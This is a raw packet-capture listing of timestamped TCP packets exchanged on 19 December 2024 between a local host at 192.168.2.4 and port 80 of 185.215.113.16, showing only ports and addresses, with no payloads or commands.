Dec 19, 2024 07:56:45.811567068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.811676979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.811721087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.812659979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.812860966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.812911987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.813869953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.813920975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.813966036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.814974070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.815085888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.815136909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.816144943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.816699028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.816750050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.817341089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.817632914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.817677975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.818491936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.865746975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.949542999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.949757099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.949861050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.950122118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.950346947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.950387955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.951421022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.951432943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.951478958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.952488899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.952611923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.952652931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.953685045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.953696012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.953753948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.954794884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.955086946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.955131054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.955945969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.956449986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.956507921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.957071066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.957441092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.957493067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.958303928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.958529949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.958566904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.959502935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.959513903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.959558964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.960710049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.960721970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.960747004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.961848021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.961941004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.961982965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.963016033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.963027000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.963056087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.964145899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.964158058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.964195967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.965256929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.965487957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.965528965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.966470957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.966483116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.966515064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.967772961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.967784882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.967816114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.968871117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.968882084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.968911886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.969904900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.970069885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.970206976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.971143007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.971364021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.971401930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.972353935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.972366095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.972400904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.973397017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.973779917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.973820925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.974668026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.974678993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.974740982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.975857019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.975869894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.975910902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.977004051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.977015018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.977056980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.978097916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.978307009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.978343010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.979221106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.979367018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.979408979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.980443954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.980856895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.980901003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.981898069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.981918097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.981969118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.983154058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.983165026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.983202934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.984357119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.984369040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.984404087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.985248089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.986299038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.986309052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.986342907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.986388922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.986428976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.987479925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.987492085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.987531900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.988646984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.988660097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.988698006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.990345001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.990356922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.990386963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.990967035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.990978956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.991041899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.992197037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.992208958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.992247105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.993335009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.993354082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.993391037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.994385004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.994769096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.994805098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.995629072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.995943069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.995990038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.996764898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.996946096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.997020006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.997059107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.998013973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.998024940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.998054981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:45.999140978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.999152899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:45.999191999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.000339985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.000351906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.000391006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.001382113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.001521111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.001566887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.002626896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.002639055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.002672911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.003782988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.003794909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.003839016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.004956007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.004967928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.005002975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.006104946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.006115913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.006149054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.007298946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.007309914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.007352114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.008697987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.011236906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.011249065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.011259079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.011270046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.011295080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.011337042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.011373997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.034677029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.141777992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.141920090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.141959906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.142271042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.142282963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.142312050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.143393040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.144267082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.144355059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.144486904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.145174980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.145224094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.153875113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.153886080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.153898001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.153949022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.154028893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154041052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154051065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154061079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154088020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.154141903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154153109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154196024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.154254913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154266119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154277086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154288054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154298067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154309034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154319048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.154321909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.154345036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.154376030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.157346964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.157358885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.157368898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.157401085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.157423019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.157435894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.157464027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.157819986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.158212900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.161766052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.161778927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.161791086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.161814928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.161853075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.161864996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.161875010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.161890984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.161923885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.162045956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.162058115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.162094116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.163177013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.163187981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.163245916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.164357901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.164369106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.164408922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.165517092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.165529966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.165566921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.166573048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.166820049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.167071104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.167774916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.167787075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.167819977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.168890953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.168979883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.169020891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.170027018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.171279907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.171291113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.171749115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.171766996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.171787024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.172617912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.172629118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.172672033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.173535109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.174659967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.174704075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.174819946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.174832106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.174875021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.175865889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.176574945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.176671982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.176711082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.177124023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.177134991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.177160978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.178307056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.178318977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.178385019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.179369926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.179723978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.180192947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.180674076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.180685997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.180716991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.181910992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.181922913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.181960106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.182981014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.182992935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.183032036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.184159994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.184171915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.184206009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.185300112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.185311079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.185359001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.186434984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.186445951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.186489105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.187541962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.187555075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.187597036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.188668966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.188771963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.188813925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.190499067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.190709114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.190747976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.191153049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.191224098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.192204952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.192250967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.192291021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.192384005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.193382978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.193393946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.194567919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.194595098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.194816113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.195679903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.195732117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.196788073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.196799994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.196837902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.197820902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.198091984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.198102951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.198137999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.199203968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.199218035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.199265957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.200279951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.200844049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.200918913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.201553106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.201565027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.201600075 CET	49744	80	192.168.2.4	185.215.113.16
